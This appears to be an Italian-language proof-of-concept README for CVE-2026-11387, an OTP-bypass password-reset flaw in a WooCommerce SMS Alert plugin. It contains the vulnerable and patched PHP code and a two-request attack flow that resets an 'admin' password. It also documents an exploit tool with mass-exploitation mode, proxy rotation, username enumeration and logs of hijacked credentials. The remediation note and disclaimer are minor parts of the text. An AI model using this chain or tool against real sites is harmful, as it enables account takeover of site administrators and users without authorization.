
Prova di concetto per CVE-2026-11387, una vulnerabilità di escalation dei privilegi non autenticata nel plugin WooCommerce SMS Alert tramite bypass OTP e reset arbitrario della password.
☆ Escalatazione dei Privilegi non autenticata tramite Reset della Password Arbitrario ☆
=== Beelze ===
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-11387 |
| Punteggio CVSS | 9.8 Critical |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Autenticazione Mancante / Bypass OTP |
| Plugin | SMS Alert – OTP Verification for WooCommerce (sms-alert) |
| Affetto | ≤ 3.9.5 |
| Patchato | 3.9.6 |
| Pubblicato | 2026 |
| PoC | Beelze |
SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 è vulnerabile a Escalatazione dei Privilegi non autenticata tramite reset arbitrario della password. L'handler di reset della password del plugin valida l'azione di reset esclusivamente controllando $_REQUEST['option'] per la stringa smsalert-change-password-form, senza verificare che la sfida OTP sia mai stata completata.
Una critica condizione di gara nel meccanismo di seeding della sessione permette a un attaccante di dirottare qualsiasi account in due richieste HTTP:
user_login target — questo attiva smsalert_site_challenge_otp() che imposta $_SESSION['user_login'] senza che alcun OTP sia stato validato.option=smsalert-change-password-form e una nuova password scelta — routeData() legge il $_SESSION['user_login'] già impostato e chiama reset_password() incondizionatamente.Impatto: Presa di controllo completa di qualsiasi utente il cui telefono di fatturazione sia registrato. L'attaccante ottiene accesso persistente con il ruolo e i privilegi della vittima.
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] viene impostato QUI — prima della verifica OTP
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // NON 'validated'
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ MANCANTE: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // avvelenato da smsalert_site_challenge_otp()
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ password cambiata — nessun OTP richiesto
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (corretto)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ CORRETTO: L'OTP deve essere validato prima di permettere il reset
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'OTP verification required.' );
}
$this->reset_password();
}
}
Attaccante (nessuna autenticazione)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← sessione avvelenata 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP inviato al telefono della vittima│
│ (l'attaccante non vede mai l'OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → controlla solo $_REQUEST['option'] │
│ → controllo SESSION_VAR: SALTATO ❌ │
│ → reset_password() chiamata │
│ → wp_set_password('admin', newpwd) │ ← password cambiata 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ Login RIUSCITO │
│ cookie wordpress_logged_in_* impostato │ ← PRESA DI CONTROLLO CONFERMATA 💀
└─────────────────────────────────────────┘
# Sfruttamento singolo target
python CVE-2026-11387.py
# → Modalità 1, inserisci URL target + nome utente
# Solo enumerazione nomi utente
python CVE-2026-11387.py
# → Modalità 2
# Sfruttamento di massa (multi-thread + rotazione proxy)
python CVE-2026-11387.py
# → Modalità 3, targets.txt, thread, file proxy
# Solo fingerprint (nessuno sfruttamento)
python CVE-2026-11387.py
# → Modalità 4, output CSV
Fasi dello sfruttamento:
Fase 1 — Controllo raggiungibilità + fallback HTTP
Fase 2 — Fingerprint versione tramite readme.txt
Fase 3 — Enumerazione nomi utente (API REST / sitemap / archivio autori)
Fase 4 — Attivazione sfida OTP (avvelenamento sessione)
Fase 5 — Reset password tramite bypass routeData()
Fase 6 — Verifica login (cookie wordpress_logged_in_*)
Esempio di output (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
Aggiorna SMS Alert alla versione 3.9.6 o successiva.
[Beelze] — solo per ricerca sulla sicurezza educativa e autorizzata